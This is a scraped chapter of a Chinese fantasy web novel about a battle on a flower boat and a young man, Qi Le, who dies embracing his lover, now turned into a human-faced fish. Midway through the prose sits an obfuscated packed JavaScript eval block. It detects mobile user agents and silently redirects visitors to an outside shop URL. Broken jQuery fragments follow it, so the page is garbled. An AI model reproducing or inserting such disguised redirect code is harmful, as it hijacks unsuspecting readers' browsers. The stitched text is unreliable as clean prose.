文趣网 > 其他小说 > 死对头又在热演 > 85. 至死不渝
    他垂眼,瞥见她们身上那条能以假乱真的鱼尾裙,又想到了能让齐乐面目全非的易容术,还有方才……他总觉得哪里古怪,原来是声音!

    那时说话的是“齐圆”,可声音却不大能对上,怪只怪陆停漪说话太少,而那个真正的齐圆又缄默不语。

    齐康恨得牙痒痒,他反应极快,一边往江北人身后躲,一边要拆稻草人上的发丝。

    寒光一闪,两道冰凌直戳他的手背,捅了个对穿。

    齐康痛得大叫,稻草人掉在地上,陆停漪和齐圆越过齐乐,将稻草人捡了起来。

    眼见被逼到绝境,齐康发狠了,顾不上手上的伤口,哆嗦着从衣服内又取出数个稻草小人:“去、去把她们抓起来!”

    像被绳子吊住了,张旸蹭地站了起来,原本醉得走不动路的他,利落地朝两人扑过来。

    陆停漪匆匆对齐圆说道:“掩护我。”

    “好。”齐圆点头,手一挥,扯出的羽衣铜墙铁壁般坚硬,张旸等人躲闪不及,直直撞了上去,咚地一声响,听上去都痛得不行,可这几人浑然不觉,灵巧地从羽衣底下钻了过来。

    黢黑的手指离她只有寸余,陆停漪连眉毛也没皱一下,余光中的百里争流一阵风似的掠过,长刀一挑,那只险些触碰到她的手应声断裂。

    在他的庇护下,她不慌不忙拿出红烛,催动了连结术。

    耳边的嘈杂如同被水隔住了,苍茫的女声从很遥远的地方传来,却清晰可闻。

    “原来稻草咒一旦生成,想要摆脱驱使,只摘下头发不够,还得把写了名字的小稻草人烧毁……”

    陆停漪眼睛转了转,瞥向另一侧。

    那几个江北人哪里是百里争流和姜却的对手,刀光剑影中,砍瓜切菜似的被放倒了。

    齐康两眼中露出畏惧,却强装镇定地捋了捋胡子。

    陆停漪紧盯着他的衣袖,她和齐圆的稻草人已经抢到手了,如今最重要的是把齐影的抢来。

    马上就到了湖中央,按照齐康的计划,会驱使齐影施展破封咒,等着人面鱼疯狂撞船,让他们跌落水中……

    说什么来什么,船底嘎吱作响,她身子向前滑去。

    船停了。

    齐康自以为形势逆转,凶相毕露,忙不迭摸出稻草人:“齐影,快用破封术,命令人面鱼撞击花船——直到撞沉为止!”

    时间仓促,陆停漪顾不上和三人交待,攥着红烛就往前冲。

    抢过稻草人,立刻用言出法随回到安全之地。

    她足够谨慎和出其不意,齐康果然没反应过来,还停留在上一瞬的势在必得中。

    指尖擦着稻草人时,齐康脖侧弹出黑色鱼首,头扁扁的,嘴边一圈獠牙,对着她的手腕咬了下去。

    陆停漪眼疾手快,不仅缩回了手,还催动了言出法随:“送我回最安全的地方!”

    下一瞬,她的后背撞进了带着冷香的怀抱。

    那鱼首竟紧追不舍,从齐康脖侧弹了出来。鱼首宽扁,腥臭的粘液滴滴答答往下淌,拖拽出的部分又细又长,好像有一条黑色肠子从脖子里拉了出来。

    “锵”——

    长刀格开鱼首,也不知到底是什么鱼的脑袋,坚硬无比,刀刃擦出了火星子。

    凤眼微眯,百里争流起刀尖。

    鱼首颇为忌惮,立刻拉开距离,俯视着他们。

    好险。陆停漪擦掉额上冷汗,被这大硬鱼咬了一口可不得了。

    对上那只浑浊的鱼眼,她忽然感到很不对劲,先前他们也和胡迎的鸟首缠斗过,似乎不是这样的。

    这鱼首居高临下,与齐康离得很远,像两个部分。

    “小心!”她心念如电,“这鱼首是兜帽人!”

    宽扁的鱼头抖了抖,她竟然在这样丑陋的东西上,看到了嘲讽的笑意。

    “他们要抢齐影的稻草人,收好,别再拿出来。还有,记住我之前的话。”

    兜帽人一句话也没多说,鱼首缩回了齐康脖侧。

    “遵命……”齐康懦懦应下,把稻草人塞回去,将衣袖牢牢扎好。

    陆停漪看得着急,且不说齐影和齐圆关系匪浅,她想让二人好好道别,万一不能把稻草人抢过来,他们就要同时对付两只双头兽和躲在暗处的兜帽人,又是在水上,主场对他们不利,胜算骤降。

    “没事,齐康只有一个人,我去抢……”

    姜却话没说完,花船剧烈晃动,向一旁倾倒,几人靠着彼此搀扶,才勉强站稳了脚跟。

    水缸、长桌滑落,舱内乱作一团。

    齐康早早扶住了舱壁,哈哈大笑着。

    陆停漪听到了船底的嘶吼声,和咚咚连续不断的撞击声。

    齐康得意的笑吵得她心烦,只要齐影受他驱使,他们就得面临这样的困境,万一跌进湖中,就要和整片湖的人面鱼作战,拖也把他们拖死了。

    只有趁着船还在时,把稻草人抢过来。

    齐康显然不想给她这个机会,捋了捋胡子,推开舱窗就要往湖中跳:“哼,你们怕水,我可不怕……”

    一只脚已经踏出了窗户,他却懊恼地拍着脑袋:“唉、这逆子……”

    陆停漪顺着他的目光看去,齐乐还牢牢扒着欢喜的水缸。

    破封咒生效,她眼睁睁看着欢喜面目全非。

    秀丽的面容慢慢肿胀,发丝和肌肤上流光溢彩的鳞片逐渐暗淡,泡发似的人首和凸凹不平的鱼身连成一片,粘液顺着下巴不断滚落,脸好似融化。

    “人面鱼算得上数一数二的丑,不是单纯的丑,是丑得恶心。”

    姜却的描述如此贴切,契合得近乎残忍。

    陆停漪定定看着,脑子里只有一个念头:原来所有的人面兽都是有名有姓的,她眼前这只名叫“欢喜”。

    “古人说,见其生,不忍见其死。”姜却面露歉意,“见其鲜活,不忍见其腐朽。欢喜姑娘,你受苦了……”

    他们是外人,尚且受到震撼,何况是齐乐。

    比山还重的痛苦,让这一瞬变得漫长。

    不该是这样的、他的欢喜,是爱漂亮的姑娘。

    被父亲关在房中,门头读书时,是她趴在墙头的盈盈笑脸,拯救了他的苦闷和闭塞。

    想来,父亲就是从那时开始厌恶欢喜的吧。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947591|209757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “不要再和那个姑娘来往了,翻男儿家的墙头,厚颜无耻……阿乐,你可得好好念书,再过几年,等江东王府平息了兽灾,你立刻便能去江北参加科考,其他人不学的时候你要拼命学,这样就能跑在他们前面了。”

    父亲的谆谆教诲,听得他耳朵起茧子了,可他又不敢违抗父亲,只能为了那八字都没一撇的仕途,埋头苦读。

    欢喜终究不是父亲口中的厚颜无耻之人,被抓到几次后,再也不想翻墙头了。

    可在见不到尽头的学海中,她是唯一的光,他不愿失去。

    “欢喜,没事的,我爹只是嘴硬,他最爱惜名声,不会把你怎么样的。”

    在他软磨硬泡下,欢喜勉为其难同意继续在墙头和他私会。

    他们变本加厉,父亲也不是吃素的,撺掇着要给欢喜说亲。

    这次,他忍无可忍,终于硬气了。

    他要和欢喜私奔。

    那夜,离开府邸时,欢喜抽噎着问:“阿乐哥哥,你不会后悔吗?你会一直喜欢我吗?”

    “我会。”紧紧抱住她,他郑重说道,“我对你的心,至死不变。”

    而后,逃走时,欢喜被人面鱼拖下湖中,最后来,她成了鲛人。

    齐乐自以为,他守住了承诺。

    他从未变心,暗中观察、收集父亲的异常,不管欢喜多么灰心丧气,他始终劝说她忍下去,还有希望,一切都会好起来。

    一厢情愿而已。

    头脑从未如此清明,过往的选择和做法,一览无余浮现在眼前,齐乐笑自己自欺欺人。

    他只是个胆小鬼,不敢看欢喜变成人面鱼的模样,不愿了解她做鲛人时困境,不知道她保留着食人的记忆,要怎么熬过漫漫长夜,在承受折辱时,又要怎么与委屈和恐惧共存……

    对她的苦难,他隔岸观火,还亲手延长了她的痛苦。

    难怪她会恨他,难怪她看过来的眼神,有灰烬一样的绝望。

    齐乐回过神时,欢喜撑着壮硕的鱼尾,跳到了另一扇舱窗前。

    耳边是父亲的怒骂:“逆子、还不死我这边来!等陆停漪擒了你,没你好果子吃!”

    曾带给他无尽压迫的声音,已经掀不起半分波澜了。

    原来,他早已不是那个被关在书房里的孩子了。

    在剧烈晃动的船舱内,瘦弱的身子站得笔直。

    齐乐对着百里争流深深一拜:“世子殿下,多谢你带我走这一遭。”

    他转身,奔向舱窗,义无反顾地跳了下去。

    “阿乐——”齐康大惊,冲过去阻拦,只撕下了一片衣角。

    陆停漪跌跌撞撞跑到另一扇舱窗前,探头往下看。

    波光粼粼的画面上,到处都是惨白的尸体,人面鱼哄抢、分食。

    落入水中的齐乐,谁也不知他是怎么在形似的人面鱼中,辨认出了欢喜,他拼命游向其中一只。

    欢喜放下尸体,嘶吼着扑了过来。

    齐乐缓缓张开了双臂,脖颈响起血肉撕扯的声音时,他抱住了欢喜。

    “很抱歉,我来迟了……我对你的心,至死不变。”